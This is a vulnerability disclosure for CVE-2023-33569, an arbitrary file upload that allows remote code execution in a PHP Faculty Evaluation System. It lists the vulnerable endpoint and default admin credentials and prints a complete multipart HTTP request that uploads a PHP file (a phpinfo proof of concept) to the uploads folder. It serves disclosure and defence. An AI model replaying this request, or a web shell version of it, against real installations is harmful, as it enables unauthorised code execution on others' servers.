CVE-2023-33569: bug_report/RCE-1.md at main · Cr4at0r/bug_report

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Faculty Evaluation System v1.0 by oretnom23 has arbitrary code execution (RCE)

BUG_Author: Cr4at0r

vendors: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html

The program is built using the xmapp-php8.1 version

Login account: [email protected]/admin123 (Super Admin account)

Vulnerability url: ip/eval/ajax.php?action=update_user

Loophole location: Faculty Evaluation System’s “/eval/ajax.php?action=update_user” file exists arbitrary file upload (RCE)

Request package for file upload：

POST /eval/ajax.php?action=update_user HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.88/eval/index.php?page=report Content-Length: 737 Content-Type: multipart/form-data; boundary=---------------------------166782539326470 Cookie: PHPSESSID=qm3tmf7esa9t4jsgeln6vna57r Connection: close -----------------------------166782539326470 Content-Disposition: form-data; name="id" 1 -----------------------------166782539326470 Content-Disposition: form-data; name="firstname" Administrator -----------------------------166782539326470 Content-Disposition: form-data; name="lastname" a -----------------------------166782539326470 Content-Disposition: form-data; name="email" [email protected] -----------------------------166782539326470 Content-Disposition: form-data; name="password" -----------------------------166782539326470 Content-Disposition: form-data; name="img"; filename="php.php" Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------166782539326470–

The files will be uploaded to this directory \eval\assets\uploads\

We visited the directory of the file in the browser and found that the code had been executed